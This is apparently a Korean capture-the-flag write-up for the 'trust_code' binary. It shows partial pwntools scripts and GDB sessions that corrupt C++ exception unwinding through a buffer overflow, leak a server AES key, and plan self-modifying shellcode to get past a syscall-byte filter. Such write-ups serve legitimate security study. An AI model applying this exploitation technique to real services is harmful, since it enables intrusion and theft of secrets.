주의사항
이 글의 내용을 이해하기 위해서는 C++ 예외 처리의 내부 구현에 대한 지식이 필요합니다.
64비트 x86_64 바이너리 trust_code 와 Dockerfile 등이 주어집니다. Dockerfile 을 비롯한 컨테이너 관련 파일은 원본 문제에는 없는 파일로, 대회 환경을 구현하기 위해 작성하였습니다. secret_key.txt 는 서버에만 있어야 하는 파일로, 대회 참가자에게 배포되지 않습니다. 바이너리는 심볼이 있고, Canary, NX, PIE 보호 기법이 적용되어 있습니다.
1 2 3 4 5 6 7
$ checksec trust_code [*] '/home/user/study/ctf/line22/trust_code/trust_code' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
바이너리를 실행하면 iv와 code를 입력받으며, 아무 문자열이나 입력했더니 에러 메시지를 출력하고 종료합니다.
1 2 3 4 5 6 7
./trust_code iv> aaaa code> aaaa
= Executed =
Sorry for the inconvenience, there was a problem while decrypting code.
main 함수의 디컴파일 결과를 보면 다음과 같이 단순합니다.
1 2 3 4 5
int __cdecl main() { launch(); return0; }
그런데 디스어셈블 결과를 보면 __cxa_begin_catch , __cxa_end_catch 함수를 호출하는 부분이 있습니다. 이는 예외 처리에서 사용되는 랜딩 패드 중 catch 블록을 나타냅니다. 내부에서는 puts 함수로 앞서 보았던 에러 메시지를 출력하고 있습니다.
intmain() { try { launch(); } catch (conststd::exception& e) { puts("Sorry for the inconvenience, there was a problem while decrypting"); }
return0; }
launch 함수는 secret_key.txt 파일의 내용을 읽어 배열 buf 에 저장합니다. 이후 buf 의 내용을 전역 배열 secret_key 에 대입한 후 service 함수를 호출합니다. buf 배열의 크기에서 secret_key 의 길이는 16바이트임을 알 수 있습니다.
run 함수는 read_code 함수를 호출하여 code 포인터를 반환받습니다. 이후 &code[16] 부터 32바이트를 sc.code 로 복사하고 execute 함수를 호출합니다. sc 는 Shellcode 타입의 객체로, 32바이트 크기의 배열인 code 를 유일한 필드로 가지고 있습니다.
decrypt 함수는 인자로 주어진 문자열을 key 와 iv 를 이용해 AES-CBC로 복호화합니다. 인자는 read_code 에서 입력받는 code이므로, 애초에 code는 암호문임을 알 수 있습니다. 복호화된 평문은 out 에 저장되는데, out 의 상위 16바이트가 "TRUST_CODE_ONLY!" 가 아니면 예외를 발생시키고 있습니다.
decrypt 가 반환하는 out 은 그대로 read_code 의 반환값이 되어, run 함수에서 상위 16바이트를 제외한 나머지가 sc.code 로 복사됩니다. 이후 호출되는 execute 함수는 rwx 권한의 페이지를 할당하여 sc.code 의 내용을 복사하고 실행합니다. 이 때 invalid_check 함수에서 sc.code 를 필터링하는데, \x0f 또는 \x05 가 존재하지 않을 때만 실행을 허용합니다.
평문의 상위 16바이트가 "TRUST_CODE_ONLY!" 가 아닌 경우 예외를 발생시킵니다.
평문에 \x0f 또는 \x05 가 존재하지 않은 경우에만 rwx 페이지로 복사하여 실행합니다.
문제 풀이
셸을 획득하기 위해서는 상위 16바이트를 "TRUST_CODE_ONLY!", 나머지를 셸코드로 채운 문자열을 AES-CBC로 암호화하여 code로 입력해야 합니다. 프로그램에서 복호화 과정에 특별한 취약점이 없고 iv 는 직접 입력할 수 있습니다. 따라서 서버에서 사용하는 key 값을 유출하여 올바른 암호문을 생성해야 합니다.
그런데 프로그램을 테스트하기 위해 iv 에 16개의 a, code 에 48개의 a를 입력하면 다음과 같이 명시적으로 호출하지도 않은 출력 루틴이 동작하는 것을 확인할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#!/usr/bin/python3 from pwn import *
r = process("./trust_code") # context.log_level = "debug"
$ ./test.py [+] Starting local process './trust_code': pid 2560632 [*] Switching to interactive mode [*] Process './trust_code' stopped with exit code 0 (pid 2560632)
= Executed = \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 Sorry for the inconvenience, there was a problem while decrypting code. [*] Got EOF while reading in interactive
출력 루틴의 정체는 run 함수에 존재하는 랜딩 패드입니다. run 함수에서 Shellcode 객체를 선언하는데, 예외가 발생하면 스택 되감기 과정에서 이 객체를 소멸시켜야 하므로 소멸자를 호출하는 랜딩 패드를 먼저 방문하는 것입니다. run 함수의 그래프를 살펴보면 그림에서 색칠한 부분과 같이 다른 루틴과 동떨어진 블록이 하나 있습니다. 이 블록이 바로 랜딩 패드입니다.
이번에는 버퍼 오버플로우를 일으키기 위해 code에 16개의 a와 8개의 b, 8개의 c를 입력하였습니다. 실행하면 세그멘테이션 오류가 발생하며 종료하는데, "stack smashing detected"와 같은 오류 메시지가 출력되지 않습니다. 이는 Canary 보호 기법에 의한 것이 아니라 다른 루틴에서 오류가 발생하여 종료하였음을 나타냅니다.
$ ./test.py [+] Starting local process './trust_code': pid 2562716 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './trust_code' stopped with exit code -11 (SIGSEGV) (pid 2562716) [*] Got EOF while sending in interactive
GDB를 붙여 실행하면 오류가 발생한 원인은 _Unwind_RaiseException 함수에서 호출한 루틴이 주소 0x6363636363636363 에 접근을 시도하였기 때문임을 확인할 수 있습니다. 이 주소는 버퍼 오버플로우를 일으키기 위해 입력한 8개의 c에 해당합니다. 또한 _Unwind_RaiseException 함수를 디스어셈블하면 호출한 루틴은 uw_frame_state_for 내장 함수임을 알 수 있습니다. (자세한 설명은 말머리에서 링크한 글의 ‘동적 분석’ 문단을 참고하기 바랍니다)
Program received signal SIGSEGV, Segmentation fault. 0x00007ff413636c50 in ?? () from /lib/x86_64-linux-gnu/libgcc_s.so.1 Python Exception <class 'AttributeError'>: 'NoneType' object has no attribute 'startswith' ... pwndbg> pdisass 1 ► 0x7ff413636c50 cmp byte ptr [rax], 0x48 0x7ff413636c53 jne 0x7ff413636bb0 <0x7ff413636bb0>
0x7ff413636c59 movabs rdx, 0x50f0000000fc0c7 pwndbg> i r rax rax 0x6363636363636363 7161677110969590627 pwndbg> k #0 0x00007ff413636c50 in ?? () from /lib/x86_64-linux-gnu/libgcc_s.so.1 #1 0x00007ff41363808b in _Unwind_RaiseException () from /lib/x86_64-linux-gnu/libgcc_s.so.1 #2 0x00007ff41383b69c in __cxa_throw () from /lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x000055ffe2bb5333 in decrypt(unsigned char*) () #4 0x000055ffe2bb53d6 in read_code() () #5 0x000055ffe2bb5627 in run() () #6 0x000055ffe2bb56d0 in loop() () #7 0x000055ffe2bb5748 in service() () #8 0x6363636363636363 in ?? () #9 0x0000000000000000 in ?? () pwndbg> disass _Unwind_RaiseException Dump of assembler code for function _Unwind_RaiseException: ... 0x00007ff413638080 <+304>: mov rsi,r13 0x00007ff413638083 <+307>: mov rdi,r12 0x00007ff413638086 <+310>: call 0x7ff413636800 0x00007ff41363808b <+315>: cmp eax,0x5 0x00007ff41363808e <+318>: je 0x7ff413638103 <_Unwind_RaiseException+435>
uw_frame_state_for 내장 함수는 인자로 전달된 context 구조체가 나타내는 프레임의 CIE와 FDE를 찾아 해석하는 함수입니다. 이 함수 내부에서 페이로드로 입력한 주소에 접근하는 것은 버퍼 오버플로우로 인해 먼저 스택이 오염되고, 오염된 내용을 스택 되감기 과정에서 참조하면서 context 구조체가 오염되었기 때문임을 추론할 수 있습니다. 이를 확인하기 위해 uw_frame_state_for 함수를 호출하는 _Unwind_RaiseException+310 주소에 중단점을 설정하고 GDB를 붙여 실행해 보겠습니다.
계속 실행하다 보면 context->ra 필드의 값이 0x000055d6cf1f7748 에서 0x6363636363636363 으로 바뀌는 것을 확인할 수 있습니다. 전자는 버퍼 오버플로우가 발생하는 service 루틴의 내부이고, 후자는 버퍼 오버플로우로 인해 변조된 리턴 주소입니다.
context->ra 필드는 스택 되감기 과정에서 personality 루틴이 랜딩 패드의 주소를 구하기 위해 참조하는 값입니다. 따라서 이 필드의 값을 적절히 변조하면 원하는 랜딩 패드를 방문할 수 있습니다. 앞서 run 함수는 출력 루틴인 Shellcode 의 소멸자를 호출하는 랜딩 패드를 가지고 있었습니다. context->ra 필드의 값을 run 함수 내부에서 read_code 함수를 호출하는 run+23 으로 변조하면, personality 루틴은 이를 기준으로 랜딩 패드의 주소를 구합니다. 그 결과 실행 흐름이 옮겨지면 run 함수의 랜딩 패드를 다시 방문하게 됩니다.
1 2 3 4 5 6 7 8
pwndbg> disass run Dump of assembler code for function run(): 0x000055d6cf1f7610 <+0>: sub rsp,0x48 0x000055d6cf1f7614 <+4>: mov rax,QWORD PTR fs:0x28 0x000055d6cf1f761d <+13>: mov QWORD PTR [rsp+0x40],rax 0x000055d6cf1f7622 <+18>: call 0x55d6cf1f7370 <read_code()> 0x000055d6cf1f7627 <+23>: mov QWORD PTR [rsp],rax ...
그런데 변조되는 값은 context->ra 만이므로, 프레임 자체는 service 함수를 호출하는 launch 함수로 되감아진 상태에서 실행 흐름만 run 함수의 랜딩 패드로 옮겨지게 됩니다. 그리고 launch 함수는 서버에 존재하는 AES 키 값인 secret_key.txt 파일을 읽어 스택 버퍼에 저장하는 함수입니다. 따라서 랜딩 패드에서 Shellcode 구조체의 소멸자는 스택에 선언된 sc.code 라고 생각되는 값을 출력하겠지만, 실제로는 launch 함수의 프레임에 존재하는 AES 키 값이 출력될 것입니다.
바이너리에서 run+23 코드의 오프셋은 0x1627 입니다. ASLR에 의해 하위 12비트를 제외한 주소는 런타임에 랜덤하게 정해지므로, 실제 주소의 하위 2바이트가 0x5627 이라고 가정하면 1/16의 확률로 일치하게 됩니다. 따라서 다음과 같이 key 값을 유출하기 위한 코드를 작성할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
#!/usr/bin/python3 from pwn import *
r = remote("localhost", 1234) # r = process("./trust_code") context.log_level = "debug"
= Executed = \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 = Executed = \x00\x00\x00\x00\x00\x00\x00\x00SER_SECRET_KEY! Sorry for the inconvenience, there was a problem while decrypting code. [*] Got EOF while reading in interactive
key 값을 유출하였으므로 셸코드를 암호화하여 전송하면 되는데, \x0f 와 \x05 를 사용하면 실패하는 조건이 있습니다. 따라서 syscall 와 sysenter 인스트럭션을 통해 시스템 콜을 호출할 수 없습니다. 그런데 코드가 복사 후 실행되는 영역은 쓰기와 실행이 모두 가능한 rwx 페이지입니다. 그러므로 런타임에 동적으로 셸코드의 내용을 수정하는 코드를 추가하면 syscall 인스트럭션을 실행할 수 있습니다.
사용자가 입력한 코드를 호출하는 부분은 execute+57 입니다. 이 주소에 중단점을 걸고 실행하면 해당 위치에서 rax 레지스터에는 rwx 페이지의 주소, rsi 레지스터에는 0x1000 이 저장되어 있습니다.